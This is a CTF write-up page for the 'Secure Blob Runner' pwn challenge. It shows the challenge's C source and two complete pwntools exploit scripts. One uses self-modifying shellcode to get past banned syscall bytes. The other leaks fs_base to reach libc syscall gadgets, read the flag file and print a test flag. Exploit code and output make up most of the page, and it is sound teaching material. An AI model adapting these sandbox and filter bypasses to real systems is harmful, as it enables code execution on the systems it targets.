📃
Writeups
Blog
  • ℹ️whoami
  • 👩‍💻Binary Exploitation
    • Basic Binary Protections
    • ROP
    • Format String Bug
    • Stack Pivoting
    • Partial Overwrite
    • Symbolic Execution
    • Heap
      • Heap Basics
      • Heap Overflow
      • Heap Grooming
      • Use After Free / Double Free
      • Fast Bin Attack
      • One By Off Overwrite
      • House of Force
  • 🎮HackTheBox
    • Challenges
      • Baby Website Rick
      • Space pirate: Entrypoint
    • Boxes
      • Analysis
      • DevOops
      • Celestial
      • Rebound
      • CozyHosting
      • Authority
      • Fluffy
  • 📄CTF Writeups
    • CTF Writeups
      • USCTF 2024
        • Spooky Query Leaks
      • HackTheVote
        • Comma-Club (Revenge)
      • HeroCTF 2024
        • Heappie
      • Buckeye 2024
        • No-Handouts
      • TetCTF 2024
        • TET & 4N6
      • PatriotCTF 2023
        • ML Pyjail
        • Breakfast Club
    • Authored Challenges
      • Team Rocket
    • Upsolves
      • Secure Blob Runner
Powered by GitBook
On this page
  • Initial Impressions
  • Analysis
  1. CTF Writeups
  2. Upsolves

Secure Blob Runner

Shellcode with ROP via fs_base leak

Initial Impressions

We are provided with the challenge source code (chall.c), which appears to be a simple shellcode runner. It uses mmap to allocate a memory region with read and execute (RX) permissions, loading your shellcode into it—assuming you pass both the byte check and the seccomp filter.

#include <stdlib.h>
#include <stdnoreturn.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdint.h>
#include <seccomp.h>


int check(char* code) {

	for (int i = 0; i < 0x1000; i += 1) {
		// block our syscall bytes the LAZY way:)
		if (code[i] == 0x0f || code[i] == 0x05 || code[i] == 0xcd || code[i] == 0x80)
			return 1;
	}

	// install seccomp filters as extra security!!
	// it shouldn't matter though, since syscall is blocked anyways
	scmp_filter_ctx ctx;
	ctx = seccomp_init(SCMP_ACT_KILL);
	if (!ctx)
		return 1;
	if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0) < 0)
		return 1;
	if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendfile), 0) < 0)
		return 1;
	if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0) < 0)
		return 1;
	seccomp_load(ctx);
	return 0;
}

void call_shellcode(char* code) {

	__asm__(
		".intel_syntax noprefix\n"
		"mov rax, rdi\n"
		"mov rsp, 0\n"
		"mov rbp, 0\n"
		"mov rbx, 0\n"
		"mov rcx, 0\n"
		"mov rdx, 0\n"
		"mov rdi, 0\n"
		"mov rsi, 0\n"
		"mov r8, 0\n"
		"mov r9, 0\n"
		"mov r10, 0\n"
		"mov r11, 0\n"
		"mov r12, 0\n"
		"mov r13, 0\n"
		"mov r14, 0\n"
		"mov r15, 0\n"
		"jmp rax\n"
		".att_syntax\n"
	);

}

int main() {
	setbuf(stdin, 0);
	setbuf(stdout, 0);

	char* code = mmap((void*)0x13370000, 0x1000, 7, MAP_SHARED | MAP_ANONYMOUS, 0, 0);

	printf("Blob Runner> ");
	fgets(code, 0x1000, stdin);
	mprotect(code, 0x1000, 5);

	if (!check(code)) {
		call_shellcode(code);
	} else {
		printf("Bad Blob!\n");
	}
}

Analysis

The filters are pretty easy to understand.

  1. Seccomp filters only permit the use of open, sendfile and exit syscalls

  2. Shellcode cannot contain the following bytes which are syscall bytes for x64 and x86

from pwn import *

def wrapper(sc):
    bad_sc = bytearray(asm(sc))
    good_sc = asm("mov r10, rax")
    bad_offsets = []

    for i in range(len(bad_sc)):
        if bad_sc[i] in [0x05, 0x0f, 0x80, 0xcd, 0xa]:
            bad_offsets.append(i)
            bad_sc[i] -= 1

    for b in bad_offsets:
        good_sc += asm(f"inc byte ptr [r10+{b}]")

    a = asm(f"add r10, {5+len(good_sc)}")
    o = len(a) + len(good_sc)
    q = 0
    if o in [0x05, 0x0f, 0x80, 0xcd, 0xa]:
        o += 1
        q = 1
    good_sc = b"\x90"*q + asm(f"add rax, {o}") + good_sc + bad_sc
    return good_sc

context.terminal = ["tmux", "neww"]
context.binary = ELF("./app/chall")
p = remote("localhost", 21237)
# p = process("./chall")

sc = """
push 0x1010101 ^ 0x7478
xor dword ptr [rsp], 0x1010101
mov rax, 0x742e67616c662f2e
push rax
mov rdi, rsp
mov rax, 2
mov rsi, 0
mov rdx, 0
syscall
mov rdi, rax
mov rsi, r10
add rsi, 0xf00
mov rdx, 0x20
mov rax, 0
syscall
mov rdi, 1
mov rdx, 0x20
mov rax, 1
syscall
mov rax, 0x3c
mov rdi, 0
syscall
"""

asc = wrapper(sc)

# gdb.attach(p)

p.sendline(asc)
p.interactive()

But this time we don't have write permissions over the mmaped region - lets ROP instead!.

We see that when we jump to our mmaped region at 0x13370000, we note that all registers are cleared besides fs_base

fs_base        0x7ffff7d8e740      140737351575360
gs_base        0x0                 0
pwndbg> address fs_base
There are no mappings for specified address or module.
pwndbg> address $fs_base
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x555555559000     0x55555557a000 rw-p    21000      0 [heap]
►   0x7ffff7d8e000     0x7ffff7d91000 rw-p     3000      0 [anon_7ffff7d8e] +0x740
    0x7ffff7d91000     0x7ffff7db9000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6

We note that the mmaped region is adjacent to libc which means we can use find gadgets like syscall in libc as the relative offset stays the same!

from pwn import *

pop_rdi = 0x2a205
pop_rsi = 0x2bb39  
pop_rax = 0x43067
syscall_gadget = 0x8ed72

BAD_BYTES = [0x0f, 0x05, 0xcd, 0x80]

def check_bad_bytes(shellcode):
    bad_positions = []
    for i, b in enumerate(shellcode):
        if b in BAD_BYTES:
            bad_positions.append((i, hex(b)))
    return bad_positions

sc = b""

part1 = asm("""
    mov rax, fs:[0]
    mov rbx, rax
    mov rcx, 0x28c0
    lea r15, [rax + rcx]
""", arch='amd64')
sc += part1
print(f"Part 1 - Bad bytes: {check_bad_bytes(part1)}")

part2 = asm("""
    mov r14, 0x7478742e67616c66
    mov [rbx + 0x200], r14
    mov byte ptr [rbx + 0x208], 0
    lea rdi, [rbx + 0x200]
    lea rsp, [rbx + 0x1000]
""", arch='amd64')
sc += part2
print(f"Part 2 - Bad bytes: {check_bad_bytes(part2)}")

part3 = asm(f"""
    xor rsi, rsi
    mov rax, 2
    lea rcx, [r15 + {syscall_gadget}]
    call rcx
    
    mov rsi, rax
    mov rdi, 1
    xor rdx, rdx
    mov r10, 1000
    mov rax, 40
    lea rcx, [r15 + {syscall_gadget}]
    call rcx
    
    xor rdi, rdi
    mov rax, 60
    lea rcx, [r15 + {syscall_gadget}]
    call rcx
""", arch='amd64')
sc += part3
print(f"Part 3 - Bad bytes: {check_bad_bytes(part3)}")

print(f"\nTotal shellcode length: {len(sc)}")
print(f"Total bad bytes: {check_bad_bytes(sc)}")

if check_bad_bytes(sc):
    print("\n⚠️  WARNING: Bad bytes detected! Need to modify approach.")
else:
    print("\n✅ No bad bytes detected - shellcode is clean!")

p = process('./chall_patched')
gdb.attach(p, gdbscript='''break *call_shellcode''')
p.recvuntil(b'Blob Runner> ')
p.sendline(sc)
p.interactive()
┌──(kali㉿kali)-[~/…/finals/pwn/super_secure_blob_runner/dist]
└─$ python3 solve.py 
Part 1 - Bad bytes: []
Part 2 - Bad bytes: []
Part 3 - Bad bytes: []

Total shellcode length: 135
Total bad bytes: []

✅ No bad bytes detected - shellcode is clean!
[+] Starting local process './chall_patched': pid 110596
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall_patched', '-p', '110596', '-x', '/tmp/pwnlib-gdbscript-d3wtjltp.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
grey{TEST_FLAG}
[*] Process './chall_patched' stopped with exit code 0 (pid 110596)
[*] Got EOF while reading in interactive
$  
PreviousUpsolves

Last updated 7 days ago

Looking at the previous which this challenge was based of, we see that the solution is a polymorphic shellcode because of the rwx permissions set

📄
welcomectf